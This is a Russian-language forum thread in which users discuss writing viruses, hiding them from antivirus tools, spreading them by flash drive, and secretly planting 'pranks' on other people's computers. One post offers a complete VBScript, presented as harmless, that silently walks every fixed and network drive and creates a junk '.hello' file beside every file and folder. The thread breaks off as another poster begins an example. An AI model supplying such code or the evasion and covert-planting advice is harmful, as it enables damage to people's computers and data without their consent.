ВИРУСЫ

[Лубышев]

ERASERROR, хорошая идея! но в моем случае я сам человеку этот прикол незаметно подсунул, поэтому лучше бедет, если пройдет какое-то время, чтобы быть вне подозрений

[Viteef]

zetrix хоть и не вирус, но действенен, и можно посмеяться, а еще такая штука антивиром не найдется

Вот на днях начал писать вирус (в самообразовательных целях), начал с самокопирования в Windows и добавления в автозагрузку. Вот что из этого получилось

[Gluk]

писать вирус не сложно, особенно который размножаеться через флешку
у меня есть уже пару движков, каспер не видит их, вот только не знаю как применить их, не охото портить людям настроение...

[zetrix]

Действительно это мелкий прикол, а вот если трояна сделать или червя, вот это можно считать вирусом!

как хорошо, что этого не видит execom. Вы хоть сами поняли, что написали бред?

[JTG]

Зато это видел я )))

ЗЫ:

Сообщение от автора небезызвестного Bagle

db 13,10,13,10,13,10,13,10
db "In a difficult world",13,10
db "In a nameless time",13,10
db "I want to survive",13,10
db "So, you will be mine!!",13,10
db "-- Bagle Author, 29.04.04, Germany."
db 13,10,13,10,13,10,13,10

Нате вам прикол безобидный

On Error Resume Next 
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="Hello! Don't be mad...I'm not a bad bug :) - by *|%|"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))


On Error Resume Next 
dim drive,machine

set machine=FSobj.Drives 
for each drive in machine  
 	if (drive.DriveType=2)or(drive.DriveType=3) then 
 		indexFolders(drive.Path&"\") 
	end If 
next 


sub indexFolders(location) 
	On Error Resume Next 
	dim specs,file,subFol,sayHello

	set specs=FSobj.GetFolder(location) 
	set subFol=specs.SubFolders 

	for each file in subFol 
                set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True) 
		sayHello.write finalMes 
		sayHello.Close 
		writeData(file.Path) 
		indexFolders(file.Path) 
	next 
end sub 

sub writeData(location)
	On Error Resume Next 
        dim folder,directory,file,sayHello

	set folder=FSobj.GetFolder(location) 
	set directory=folder.Files 

	for each file in directory 
 		set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True) 
		sayHello.write finalMes 
		sayHello.Close  
	next 
end sub

[AngelOfDeath]

Для копирования в Windows можно создать API приложение
Константу с байтами другой проги
И записать через TFileStream
Антивирусами не палится
Для большего удобства используем WinHex, Delphi, прямые руки))
Вот пример: